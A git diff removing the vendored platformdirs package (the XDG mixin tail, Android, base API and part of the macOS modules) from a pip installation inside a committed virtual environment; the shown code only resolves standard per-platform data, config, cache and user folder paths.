-        """:returns: config directories shared by users, from ``$XDG_CONFIG_DIRS`` if set, else platform default"""
-        dirs = self._site_config_dirs
-        return os.pathsep.join(dirs) if self.multipath else dirs[0]
-
-    @property
-    def user_cache_dir(self) -> str:
-        """:returns: cache directory tied to the user, from ``$XDG_CACHE_HOME`` if set, else platform default"""
-        if path := os.environ.get("XDG_CACHE_HOME", "").strip():
-            return self._append_app_name_and_version(path)
-        return super().user_cache_dir
-
-    @property
-    def user_state_dir(self) -> str:
-        """:returns: state directory tied to the user, from ``$XDG_STATE_HOME`` if set, else platform default"""
-        if path := os.environ.get("XDG_STATE_HOME", "").strip():
-            return self._append_app_name_and_version(path)
-        return super().user_state_dir
-
-    @property
-    def user_runtime_dir(self) -> str:
-        """:returns: runtime directory tied to the user, from ``$XDG_RUNTIME_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_RUNTIME_DIR", "").strip():
-            return self._append_app_name_and_version(path)
-        return super().user_runtime_dir
-
-    @property
-    def site_runtime_dir(self) -> str:
-        """:returns: runtime directory shared by users, from ``$XDG_RUNTIME_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_RUNTIME_DIR", "").strip():
-            return self._append_app_name_and_version(path)
-        return super().site_runtime_dir
-
-    @property
-    def user_documents_dir(self) -> str:
-        """:returns: documents directory tied to the user, from ``$XDG_DOCUMENTS_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_DOCUMENTS_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111
-        return super().user_documents_dir
-
-    @property
-    def user_downloads_dir(self) -> str:
-        """:returns: downloads directory tied to the user, from ``$XDG_DOWNLOAD_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_DOWNLOAD_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111
-        return super().user_downloads_dir
-
-    @property
-    def user_pictures_dir(self) -> str:
-        """:returns: pictures directory tied to the user, from ``$XDG_PICTURES_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_PICTURES_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111
-        return super().user_pictures_dir
-
-    @property
-    def user_videos_dir(self) -> str:
-        """:returns: videos directory tied to the user, from ``$XDG_VIDEOS_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_VIDEOS_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111
-        return super().user_videos_dir
-
-    @property
-    def user_music_dir(self) -> str:
-        """:returns: music directory tied to the user, from ``$XDG_MUSIC_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_MUSIC_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111
-        return super().user_music_dir
-
-    @property
-    def user_desktop_dir(self) -> str:
-        """:returns: desktop directory tied to the user, from ``$XDG_DESKTOP_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_DESKTOP_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111
-        return super().user_desktop_dir
-
-    @property
-    def user_projects_dir(self) -> str:
-        """:returns: projects directory tied to the user, from ``$XDG_PROJECTS_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_PROJECTS_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111  # API returns str, not Path
-        return super().user_projects_dir
-
-    @property
-    def user_publicshare_dir(self) -> str:
-        """:returns: public share directory tied to the user, from ``$XDG_PUBLICSHARE_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_PUBLICSHARE_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111  # API returns str, not Path
-        return super().user_publicshare_dir
-
-    @property
-    def user_templates_dir(self) -> str:
-        """:returns: templates directory tied to the user, from ``$XDG_TEMPLATES_DIR`` if set, else platform default"""
-        if path := os.environ.get("XDG_TEMPLATES_DIR", "").strip():
-            return os.path.expanduser(path)  # noqa: PTH111  # API returns str, not Path
-        return super().user_templates_dir
-
-    @property
-    def user_fonts_dir(self) -> str:
-        """:returns: fonts directory tied to the user, from ``$XDG_DATA_HOME/fonts`` if set, else platform default"""
-        if path := os.environ.get("XDG_DATA_HOME", "").strip():
-            return f"{os.path.expanduser(path)}/fonts"  # noqa: PTH111  # API returns str, not Path
-        return super().user_fonts_dir
-
-    @property
-    def user_applications_dir(self) -> str:
-        """:returns: applications directory tied to the user, from ``$XDG_DATA_HOME`` if set, else platform default"""
-        if path := os.environ.get("XDG_DATA_HOME", "").strip():
-            return os.path.join(os.path.expanduser(path), "applications")  # noqa: PTH111, PTH118
-        return super().user_applications_dir
-
-    @property
-    def _site_applications_dirs(self) -> list[str]:
-        if xdg_dirs := os.environ.get("XDG_DATA_DIRS", "").strip():
-            return [os.path.join(p, "applications") for p in xdg_dirs.split(os.pathsep) if p.strip()]  # noqa: PTH118
-        return super()._site_applications_dirs
-
-    @property
-    def site_applications_dir(self) -> str:
-        """:returns: applications directories shared by users, from ``$XDG_DATA_DIRS`` if set, else platform default"""
-        dirs = self._site_applications_dirs
-        return os.pathsep.join(dirs) if self.multipath else dirs[0]
-
-
-__all__ = [
-    "XDGMixin",
-]
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/android.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/android.py
deleted file mode 100644
index 885e8c6e1547945572cf54444ce3527d5c0475d5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/android.py
+++ /dev/null
@@ -1,300 +0,0 @@
-"""Android."""
-
-from __future__ import annotations
-
-import os
-import re
-import sys
-from functools import lru_cache
-from typing import TYPE_CHECKING, cast
-
-from .api import PlatformDirsABC
-
-
-class Android(PlatformDirsABC):  # noqa: PLR0904
-    """Platform directories for Android.
-
-    Follows the guidance `from here `_. Directories are typically located
-    under the app's private storage (``/data/user///``).
-
-    Makes use of the `appname `, `version
-    `, `opinion `, `ensure_exists
-    `.
-
-    """
-
-    @property
-    def user_data_dir(self) -> str:
-        """:returns: data directory tied to the user, e.g. ``/data/user///files/``"""
-        return self._append_app_name_and_version(cast("str", _android_folder()), "files")
-
-    @property
-    def site_data_dir(self) -> str:
-        """:returns: data directory shared by users, same as `user_data_dir`"""
-        return self.user_data_dir
-
-    @property
-    def user_config_dir(self) -> str:
-        """:returns: config directory tied to the user, e.g. ``/data/user///shared_prefs/``"""
-        return self._append_app_name_and_version(cast("str", _android_folder()), "shared_prefs")
-
-    @property
-    def site_config_dir(self) -> str:
-        """:returns: config directory shared by users, same as `user_config_dir`"""
-        return self.user_config_dir
-
-    @property
-    def user_cache_dir(self) -> str:
-        """:returns: cache directory tied to the user, e.g.,``/data/user///cache/``"""
-        return self._append_app_name_and_version(cast("str", _android_folder()), "cache")
-
-    @property
-    def site_cache_dir(self) -> str:
-        """:returns: cache directory shared by users, same as `user_cache_dir`"""
-        return self.user_cache_dir
-
-    @property
-    def user_state_dir(self) -> str:
-        """:returns: state directory tied to the user, same as `user_data_dir`"""
-        return self.user_data_dir
-
-    @property
-    def site_state_dir(self) -> str:
-        """:returns: state directory shared by users, same as `user_state_dir`"""
-        return self.user_state_dir
-
-    @property
-    def user_log_dir(self) -> str:
-        """:returns: log directory tied to the user, same as `user_cache_dir` if not opinionated else ``log`` in it, e.g. ``/data/user///cache//log``"""
-        path = self.user_cache_dir
-        if self.opinion:
-            path = os.path.join(path, "log")  # noqa: PTH118
-            self._optionally_create_directory(path)
-        return path
-
-    @property
-    def site_log_dir(self) -> str:
-        """:returns: log directory shared by users, same as `user_log_dir`"""
-        return self.user_log_dir
-
-    @property
-    def user_documents_dir(self) -> str:
-        """:returns: documents directory tied to the user e.g. ``/storage/emulated/0/Documents``"""
-        return _android_documents_folder()
-
-    @property
-    def user_downloads_dir(self) -> str:
-        """:returns: downloads directory tied to the user e.g. ``/storage/emulated/0/Downloads``"""
-        return _android_downloads_folder()
-
-    @property
-    def user_pictures_dir(self) -> str:
-        """:returns: pictures directory tied to the user e.g. ``/storage/emulated/0/Pictures``"""
-        return _android_pictures_folder()
-
-    @property
-    def user_videos_dir(self) -> str:
-        """:returns: videos directory tied to the user e.g. ``/storage/emulated/0/DCIM/Camera``"""
-        return _android_videos_folder()
-
-    @property
-    def user_music_dir(self) -> str:
-        """:returns: music directory tied to the user e.g. ``/storage/emulated/0/Music``"""
-        return _android_music_folder()
-
-    @property
-    def user_desktop_dir(self) -> str:
-        """:returns: desktop directory tied to the user e.g. ``/storage/emulated/0/Desktop``"""
-        return "/storage/emulated/0/Desktop"
-
-    @property
-    def user_projects_dir(self) -> str:
-        """:returns: projects directory tied to the user e.g. ``/storage/emulated/0/Projects``"""
-        return "/storage/emulated/0/Projects"
-
-    @property
-    def user_publicshare_dir(self) -> str:
-        """:returns: public share directory tied to the user e.g. ``/storage/emulated/0/Public``"""
-        return "/storage/emulated/0/Public"
-
-    @property
-    def user_templates_dir(self) -> str:
-        """:returns: templates directory tied to the user e.g. ``/storage/emulated/0/Templates``"""
-        return "/storage/emulated/0/Templates"
-
-    @property
-    def user_fonts_dir(self) -> str:
-        """:returns: fonts directory tied to the user e.g. ``/storage/emulated/0/fonts``"""
-        return "/storage/emulated/0/fonts"
-
-    @property
-    def user_preference_dir(self) -> str:
-        """:returns: preference directory tied to the user, same as ``user_config_dir``"""
-        return self.user_config_dir
-
-    @property
-    def user_bin_dir(self) -> str:
-        """:returns: bin directory tied to the user, e.g. ``/data/user///files/bin``"""
-        return os.path.join(cast("str", _android_folder()), "files", "bin")  # noqa: PTH118
-
-    @property
-    def site_bin_dir(self) -> str:
-        """:returns: bin directory shared by users, same as `user_bin_dir`"""
-        return self.user_bin_dir
-
-    @property
-    def user_applications_dir(self) -> str:
-        """:returns: applications directory tied to the user, same as `user_data_dir`"""
-        return self.user_data_dir
-
-    @property
-    def site_applications_dir(self) -> str:
-        """:returns: applications directory shared by users, same as `user_applications_dir`"""
-        return self.user_applications_dir
-
-    @property
-    def user_runtime_dir(self) -> str:
-        """:returns: runtime directory tied to the user, same as `user_cache_dir` if not opinionated else ``tmp`` in it, e.g. ``/data/user///cache//tmp``"""
-        path = self.user_cache_dir
-        if self.opinion:
-            path = os.path.join(path, "tmp")  # noqa: PTH118
-            self._optionally_create_directory(path)
-        return path
-
-    @property
-    def site_runtime_dir(self) -> str:
-        """:returns: runtime directory shared by users, same as `user_runtime_dir`"""
-        return self.user_runtime_dir
-
-
-@lru_cache(maxsize=1)
-def _android_folder() -> str | None:  # noqa: C901
-    """:returns: base folder for the Android OS or None if it cannot be found"""
-    result: str | None = None
-    # type checker isn't happy with our "import android", just don't do this when type checking see
-    # https://stackoverflow.com/a/61394121
-    if not TYPE_CHECKING:
-        try:
-            # First try to get a path to android app using python4android (if available)...
-            from android import mActivity  # noqa: PLC0415
-
-            context = cast("android.content.Context", mActivity.getApplicationContext())  # noqa: F821
-            result = context.getFilesDir().getParentFile().getAbsolutePath()
-        except Exception:  # noqa: BLE001
-            result = None
-    if result is None:
-        try:
-            # ...and fall back to using plain pyjnius, if python4android isn't available or doesn't deliver any useful
-            # result...
-            from jnius import autoclass  # noqa: PLC0415  # ty: ignore[unresolved-import]
-
-            context = autoclass("android.content.Context")
-            result = context.getFilesDir().getParentFile().getAbsolutePath()
-        except Exception:  # noqa: BLE001
-            result = None
-    if result is None:
-        # and if that fails, too, find an android folder looking at path on the sys.path
-        # warning: only works for apps installed under /data, not adopted storage etc.
-        pattern = re.compile(r"/data/(data|user/\d+)/(.+)/files")
-        for path in sys.path:
-            if pattern.match(path):
-                result = path.split("/files")[0]
-                break
-        else:
-            result = None
-    if result is None:
-        # one last try: find an android folder looking at path on the sys.path taking adopted storage paths into
-        # account
-        pattern = re.compile(r"/mnt/expand/[a-fA-F0-9-]{36}/(data|user/\d+)/(.+)/files")
-        for path in sys.path:
-            if pattern.match(path):
-                result = path.split("/files")[0]
-                break
-        else:
-            result = None
-    return result
-
-
-@lru_cache(maxsize=1)
-def _android_documents_folder() -> str:
-    """:returns: documents folder for the Android OS"""
-    # Get directories with pyjnius
-    try:
-        from jnius import autoclass  # noqa: PLC0415  # ty: ignore[unresolved-import]
-
-        context = autoclass("android.content.Context")
-        environment = autoclass("android.os.Environment")
-        documents_dir: str = context.getExternalFilesDir(environment.DIRECTORY_DOCUMENTS).getAbsolutePath()
-    except Exception:  # noqa: BLE001
-        documents_dir = "/storage/emulated/0/Documents"
-
-    return documents_dir
-
-
-@lru_cache(maxsize=1)
-def _android_downloads_folder() -> str:
-    """:returns: downloads folder for the Android OS"""
-    # Get directories with pyjnius
-    try:
-        from jnius import autoclass  # noqa: PLC0415  # ty: ignore[unresolved-import]
-
-        context = autoclass("android.content.Context")
-        environment = autoclass("android.os.Environment")
-        downloads_dir: str = context.getExternalFilesDir(environment.DIRECTORY_DOWNLOADS).getAbsolutePath()
-    except Exception:  # noqa: BLE001
-        downloads_dir = "/storage/emulated/0/Downloads"
-
-    return downloads_dir
-
-
-@lru_cache(maxsize=1)
-def _android_pictures_folder() -> str:
-    """:returns: pictures folder for the Android OS"""
-    # Get directories with pyjnius
-    try:
-        from jnius import autoclass  # noqa: PLC0415  # ty: ignore[unresolved-import]
-
-        context = autoclass("android.content.Context")
-        environment = autoclass("android.os.Environment")
-        pictures_dir: str = context.getExternalFilesDir(environment.DIRECTORY_PICTURES).getAbsolutePath()
-    except Exception:  # noqa: BLE001
-        pictures_dir = "/storage/emulated/0/Pictures"
-
-    return pictures_dir
-
-
-@lru_cache(maxsize=1)
-def _android_videos_folder() -> str:
-    """:returns: videos folder for the Android OS"""
-    # Get directories with pyjnius
-    try:
-        from jnius import autoclass  # noqa: PLC0415  # ty: ignore[unresolved-import]
-
-        context = autoclass("android.content.Context")
-        environment = autoclass("android.os.Environment")
-        videos_dir: str = context.getExternalFilesDir(environment.DIRECTORY_DCIM).getAbsolutePath()
-    except Exception:  # noqa: BLE001
-        videos_dir = "/storage/emulated/0/DCIM/Camera"
-
-    return videos_dir
-
-
-@lru_cache(maxsize=1)
-def _android_music_folder() -> str:
-    """:returns: music folder for the Android OS"""
-    # Get directories with pyjnius
-    try:
-        from jnius import autoclass  # noqa: PLC0415  # ty: ignore[unresolved-import]
-
-        context = autoclass("android.content.Context")
-        environment = autoclass("android.os.Environment")
-        music_dir: str = context.getExternalFilesDir(environment.DIRECTORY_MUSIC).getAbsolutePath()
-    except Exception:  # noqa: BLE001
-        music_dir = "/storage/emulated/0/Music"
-
-    return music_dir
-
-
-__all__ = [
-    "Android",
-]
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/api.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/api.py
deleted file mode 100644
index 91ef902858ad664d4779cb8ca6fd75798ddf9edd..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/api.py
+++ /dev/null
@@ -1,463 +0,0 @@
-"""Base API."""
-
-from __future__ import annotations
-
-import os
-from abc import ABC, abstractmethod
-from pathlib import Path
-from typing import TYPE_CHECKING
-
-if TYPE_CHECKING:
-    from collections.abc import Iterator
-    from typing import Literal
-
-
-class PlatformDirsABC(ABC):  # noqa: PLR0904
-    """Abstract base class defining all platform directory properties, their :class:`~pathlib.Path` variants, and iterators.
-
-    Platform-specific subclasses (e.g. :class:`~platformdirs.windows.Windows`, :class:`~platformdirs.macos.MacOS`,
-    :class:`~platformdirs.unix.Unix`) implement the abstract properties to return the appropriate paths for each
-    operating system.
-
-    """
-
-    def __init__(  # noqa: PLR0913, PLR0917
-        self,
-        appname: str | None = None,
-        appauthor: str | Literal[False] | None = None,
-        version: str | None = None,
-        roaming: bool = False,  # noqa: FBT001, FBT002
-        multipath: bool = False,  # noqa: FBT001, FBT002
-        opinion: bool = True,  # noqa: FBT001, FBT002
-        ensure_exists: bool = False,  # noqa: FBT001, FBT002
-        use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-    ) -> None:
-        """Create a new platform directory.
-
-        :param appname: See `appname`.
-        :param appauthor: See `appauthor`.
-        :param version: See `version`.
-        :param roaming: See `roaming`.
-        :param multipath: See `multipath`.
-        :param opinion: See `opinion`.
-        :param ensure_exists: See `ensure_exists`.
-        :param use_site_for_root: See `use_site_for_root`.
-
-        """
-        self.appname = appname  #: The name of the application.
-        self.appauthor = appauthor
-        """The name of the app author or distributing body for this application.
-
-        Typically, it is the owning company name. Defaults to `appname`. You may pass ``False`` to disable it.
-
-        .. note::
-
-            On Windows, the directory structure is ``//``. When ``appauthor`` is ``None`` (the
-            default), it falls back to ``appname``, resulting in ``//`` (e.g.
-            ``AppData/Local/myapp/myapp``). Pass ``appauthor=False`` to omit the author directory entirely and get
-            ``/``.
-
-        """
-        self.version = version
-        """An optional version path element to append to the path.
-
-        You might want to use this if you want multiple versions of your app to be able to run independently. If used,
-        this would typically be ``.``.
-
-        """
-        self.roaming = roaming
-        """Whether to use the roaming appdata directory on Windows.
-
-        That means that for users on a Windows network setup for roaming profiles, this user data will be synced on
-        login (see `here `_).
-
-        """
-        self.multipath = multipath
-        """An optional parameter which indicates that the entire list of data dirs should be returned.
-
-        By default, the first item would only be returned. Only affects ``site_data_dir`` and ``site_config_dir`` on
-        Unix and macOS.
-
-        """
-        self.opinion = opinion
-        """Whether to use opinionated values.
-
-        When enabled, appends an additional subdirectory for certain directories: e.g. ``Cache`` for cache and ``Logs``
-        for logs on Windows, ``log`` for logs on Unix.
-
-        """
-        self.ensure_exists = ensure_exists
-        """Optionally create the directory (and any missing parents) upon access if it does not exist.
-
-        By default, no directories are created.
-
-        """
-        self.use_site_for_root = use_site_for_root
-        """Whether to redirect ``user_*_dir`` calls to their ``site_*_dir`` equivalents when running as root (uid 0).
-
-        Only has an effect on Unix. Disabled by default for backwards compatibility. When enabled, XDG user environment
-        variables (e.g. ``XDG_DATA_HOME``) are bypassed for the redirected directories.
-
-        """
-
-    def _append_app_name_and_version(self, *base: str) -> str:
-        params = list(base[1:])
-        if self.appname:
-            params.append(self.appname)
-            if self.version:
-                params.append(self.version)
-        path = os.path.join(base[0], *params)  # noqa: PTH118
-        self._optionally_create_directory(path)
-        return path
-
-    def _optionally_create_directory(self, path: str) -> None:
-        if self.ensure_exists:
-            Path(path).mkdir(parents=True, exist_ok=True)
-
-    def _first_item_as_path_if_multipath(self, directory: str) -> Path:
-        if self.multipath:
-            # If multipath is True, the first path is returned.
-            directory = directory.partition(os.pathsep)[0]
-        return Path(directory)
-
-    @property
-    @abstractmethod
-    def user_data_dir(self) -> str:
-        """:returns: data directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_data_dir(self) -> str:
-        """:returns: data directory shared by users"""
-
-    @property
-    def _site_data_dirs(self) -> list[str]:
-        raise NotImplementedError
-
-    @property
-    @abstractmethod
-    def user_config_dir(self) -> str:
-        """:returns: config directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_config_dir(self) -> str:
-        """:returns: config directory shared by users"""
-
-    @property
-    def _site_config_dirs(self) -> list[str]:
-        raise NotImplementedError
-
-    @property
-    @abstractmethod
-    def user_cache_dir(self) -> str:
-        """:returns: cache directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_cache_dir(self) -> str:
-        """:returns: cache directory shared by users"""
-
-    @property
-    @abstractmethod
-    def user_state_dir(self) -> str:
-        """:returns: state directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_state_dir(self) -> str:
-        """:returns: state directory shared by users"""
-
-    @property
-    @abstractmethod
-    def user_log_dir(self) -> str:
-        """:returns: log directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_log_dir(self) -> str:
-        """:returns: log directory shared by users"""
-
-    @property
-    @abstractmethod
-    def user_documents_dir(self) -> str:
-        """:returns: documents directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_downloads_dir(self) -> str:
-        """:returns: downloads directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_pictures_dir(self) -> str:
-        """:returns: pictures directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_videos_dir(self) -> str:
-        """:returns: videos directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_music_dir(self) -> str:
-        """:returns: music directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_desktop_dir(self) -> str:
-        """:returns: desktop directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_projects_dir(self) -> str:
-        """:returns: projects directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_publicshare_dir(self) -> str:
-        """:returns: public share directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_templates_dir(self) -> str:
-        """:returns: templates directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_fonts_dir(self) -> str:
-        """:returns: fonts directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_preference_dir(self) -> str:
-        """:returns: preference directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def user_bin_dir(self) -> str:
-        """:returns: bin directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_bin_dir(self) -> str:
-        """:returns: bin directory shared by users"""
-
-    @property
-    @abstractmethod
-    def user_applications_dir(self) -> str:
-        """:returns: applications directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_applications_dir(self) -> str:
-        """:returns: applications directory shared by users"""
-
-    @property
-    def _site_applications_dirs(self) -> list[str]:
-        raise NotImplementedError
-
-    @property
-    @abstractmethod
-    def user_runtime_dir(self) -> str:
-        """:returns: runtime directory tied to the user"""
-
-    @property
-    @abstractmethod
-    def site_runtime_dir(self) -> str:
-        """:returns: runtime directory shared by users"""
-
-    @property
-    def user_data_path(self) -> Path:
-        """:returns: data path tied to the user"""
-        return Path(self.user_data_dir)
-
-    @property
-    def site_data_path(self) -> Path:
-        """:returns: data path shared by users"""
-        return Path(self.site_data_dir)
-
-    @property
-    def user_config_path(self) -> Path:
-        """:returns: config path tied to the user"""
-        return Path(self.user_config_dir)
-
-    @property
-    def site_config_path(self) -> Path:
-        """:returns: config path shared by users"""
-        return Path(self.site_config_dir)
-
-    @property
-    def user_cache_path(self) -> Path:
-        """:returns: cache path tied to the user"""
-        return Path(self.user_cache_dir)
-
-    @property
-    def site_cache_path(self) -> Path:
-        """:returns: cache path shared by users"""
-        return Path(self.site_cache_dir)
-
-    @property
-    def user_state_path(self) -> Path:
-        """:returns: state path tied to the user"""
-        return Path(self.user_state_dir)
-
-    @property
-    def site_state_path(self) -> Path:
-        """:returns: state path shared by users"""
-        return Path(self.site_state_dir)
-
-    @property
-    def user_log_path(self) -> Path:
-        """:returns: log path tied to the user"""
-        return Path(self.user_log_dir)
-
-    @property
-    def site_log_path(self) -> Path:
-        """:returns: log path shared by users"""
-        return Path(self.site_log_dir)
-
-    @property
-    def user_documents_path(self) -> Path:
-        """:returns: documents path tied to the user"""
-        return Path(self.user_documents_dir)
-
-    @property
-    def user_downloads_path(self) -> Path:
-        """:returns: downloads path tied to the user"""
-        return Path(self.user_downloads_dir)
-
-    @property
-    def user_pictures_path(self) -> Path:
-        """:returns: pictures path tied to the user"""
-        return Path(self.user_pictures_dir)
-
-    @property
-    def user_videos_path(self) -> Path:
-        """:returns: videos path tied to the user"""
-        return Path(self.user_videos_dir)
-
-    @property
-    def user_music_path(self) -> Path:
-        """:returns: music path tied to the user"""
-        return Path(self.user_music_dir)
-
-    @property
-    def user_desktop_path(self) -> Path:
-        """:returns: desktop path tied to the user"""
-        return Path(self.user_desktop_dir)
-
-    @property
-    def user_projects_path(self) -> Path:
-        """:returns: projects path tied to the user"""
-        return Path(self.user_projects_dir)
-
-    @property
-    def user_publicshare_path(self) -> Path:
-        """:returns: public share path tied to the user"""
-        return Path(self.user_publicshare_dir)
-
-    @property
-    def user_templates_path(self) -> Path:
-        """:returns: templates path tied to the user"""
-        return Path(self.user_templates_dir)
-
-    @property
-    def user_fonts_path(self) -> Path:
-        """:returns: fonts path tied to the user"""
-        return Path(self.user_fonts_dir)
-
-    @property
-    def user_preference_path(self) -> Path:
-        """:returns: preference path tied to the user"""
-        return Path(self.user_preference_dir)
-
-    @property
-    def user_bin_path(self) -> Path:
-        """:returns: bin path tied to the user"""
-        return Path(self.user_bin_dir)
-
-    @property
-    def site_bin_path(self) -> Path:
-        """:returns: bin path shared by users"""
-        return Path(self.site_bin_dir)
-
-    @property
-    def user_applications_path(self) -> Path:
-        """:returns: applications path tied to the user"""
-        return Path(self.user_applications_dir)
-
-    @property
-    def site_applications_path(self) -> Path:
-        """:returns: applications path shared by users"""
-        return Path(self.site_applications_dir)
-
-    @property
-    def user_runtime_path(self) -> Path:
-        """:returns: runtime path tied to the user"""
-        return Path(self.user_runtime_dir)
-
-    @property
-    def site_runtime_path(self) -> Path:
-        """:returns: runtime path shared by users"""
-        return Path(self.site_runtime_dir)
-
-    def iter_config_dirs(self) -> Iterator[str]:
-        """:yield: all user and site configuration directories."""
-        yield self.user_config_dir
-        yield self.site_config_dir
-
-    def iter_data_dirs(self) -> Iterator[str]:
-        """:yield: all user and site data directories."""
-        yield self.user_data_dir
-        yield self.site_data_dir
-
-    def iter_cache_dirs(self) -> Iterator[str]:
-        """:yield: all user and site cache directories."""
-        yield self.user_cache_dir
-        yield self.site_cache_dir
-
-    def iter_state_dirs(self) -> Iterator[str]:
-        """:yield: all user and site state directories."""
-        yield self.user_state_dir
-        yield self.site_state_dir
-
-    def iter_log_dirs(self) -> Iterator[str]:
-        """:yield: all user and site log directories."""
-        yield self.user_log_dir
-        yield self.site_log_dir
-
-    def iter_runtime_dirs(self) -> Iterator[str]:
-        """:yield: all user and site runtime directories."""
-        yield self.user_runtime_dir
-        yield self.site_runtime_dir
-
-    def iter_config_paths(self) -> Iterator[Path]:
-        """:yield: all user and site configuration paths."""
-        for path in self.iter_config_dirs():
-            yield Path(path)
-
-    def iter_data_paths(self) -> Iterator[Path]:
-        """:yield: all user and site data paths."""
-        for path in self.iter_data_dirs():
-            yield Path(path)
-
-    def iter_cache_paths(self) -> Iterator[Path]:
-        """:yield: all user and site cache paths."""
-        for path in self.iter_cache_dirs():
-            yield Path(path)
-
-    def iter_state_paths(self) -> Iterator[Path]:
-        """:yield: all user and site state paths."""
-        for path in self.iter_state_dirs():
-            yield Path(path)
-
-    def iter_log_paths(self) -> Iterator[Path]:
-        """:yield: all user and site log paths."""
-        for path in self.iter_log_dirs():
-            yield Path(path)
-
-    def iter_runtime_paths(self) -> Iterator[Path]:
-        """:yield: all user and site runtime paths."""
-        for path in self.iter_runtime_dirs():
-            yield Path(path)
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/macos.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/macos.py
deleted file mode 100644
index 9ebc2a0c5498b77b29f86a485ed8c727c6d9ea76..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/macos.py
+++ /dev/null
@@ -1,223 +0,0 @@
-"""macOS."""
-
-from __future__ import annotations
-
-import os.path
-import sys
-from typing import TYPE_CHECKING
-
-if TYPE_CHECKING:
-    from collections.abc import Iterator
-
-from ._xdg import XDGMixin
-from .api import PlatformDirsABC
-
-if TYPE_CHECKING:
-    from pathlib import Path
-
-
-class _MacOSDefaults(PlatformDirsABC):  # noqa: PLR0904
-    """Default platform directories for macOS without XDG environment variable overrides.
-
-    Follows the guidance from `Apple's File System Programming Guide
-    `_.
-    The XDG env var handling is in :class:`~platformdirs._xdg.XDGMixin`.
-
-    """
-
-    def _base_user_app_support_dir(self) -> str:
-        return self._append_app_name_and_version(os.path.expanduser("~/Library/Application Support"))  # noqa: PTH111
-
-    def _base_site_dirs(self) -> list[str]:
-        is_homebrew = "/opt/python" in sys.prefix
-        homebrew_prefix = sys.prefix.split("/opt/python")[0] if is_homebrew else ""
-        path_list = [self._append_app_name_and_version(f"{homebrew_prefix}/share")] if is_homebrew else []
-        path_list.append(self._append_app_name_and_version("/Library/Application Support"))
-        return path_list
-
-    @property
-    def user_data_dir(self) -> str:
-        """:returns: data directory tied to the user, e.g. ``~/Library/Application Support/$appname/$version``"""
-        return self._base_user_app_support_dir()
-
-    @property
-    def _site_data_dirs(self) -> list[str]:
-        return self._base_site_dirs()
-
-    @property
-    def site_data_path(self) -> Path:
-        """:returns: data path shared by users. Only return the first item, even if ``multipath`` is set to ``True``"""
-        return self._first_item_as_path_if_multipath(self.site_data_dir)
-
-    @property
-    def site_config_path(self) -> Path:
-        """:returns: config path shared by users. Only return the first item, even if ``multipath`` is set to ``True``"""
-        return self._first_item_as_path_if_multipath(self.site_config_dir)
-
-    @property
-    def user_config_dir(self) -> str:
-        """:returns: config directory tied to the user, same as `user_data_dir`"""
-        return self._base_user_app_support_dir()
-
-    @property
-    def _site_config_dirs(self) -> list[str]:
-        return self._base_site_dirs()
-
-    @property
-    def user_cache_dir(self) -> str:
-        """:returns: cache directory tied to the user, e.g. ``~/Library/Caches/$appname/$version``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/Library/Caches"))  # noqa: PTH111
-
-    @property
-    def site_cache_dir(self) -> str:
-        """:returns: cache directory shared by users, e.g. ``/Library/Caches/$appname/$version``. If we're using a Python binary managed by `Homebrew `_, the directory will be under the Homebrew prefix, e.g. ``$homebrew_prefix/var/cache/$appname/$version``. If `multipath ` is enabled, and we're in Homebrew, the response is a multi-path string separated by ":", e.g. ``$homebrew_prefix/var/cache/$appname/$version:/Library/Caches/$appname/$version``"""
-        is_homebrew = "/opt/python" in sys.prefix
-        homebrew_prefix = sys.prefix.split("/opt/python")[0] if is_homebrew else ""
-        path_list = [self._append_app_name_and_version(f"{homebrew_prefix}/var/cache")] if is_homebrew else []
-        path_list.append(self._append_app_name_and_version("/Library/Caches"))
-        if self.multipath:
-            return os.pathsep.join(path_list)
-        return path_list[0]
-
-    @property
-    def site_cache_path(self) -> Path:
-        """:returns: cache path shared by users. Only return the first item, even if ``multipath`` is set to ``True``"""
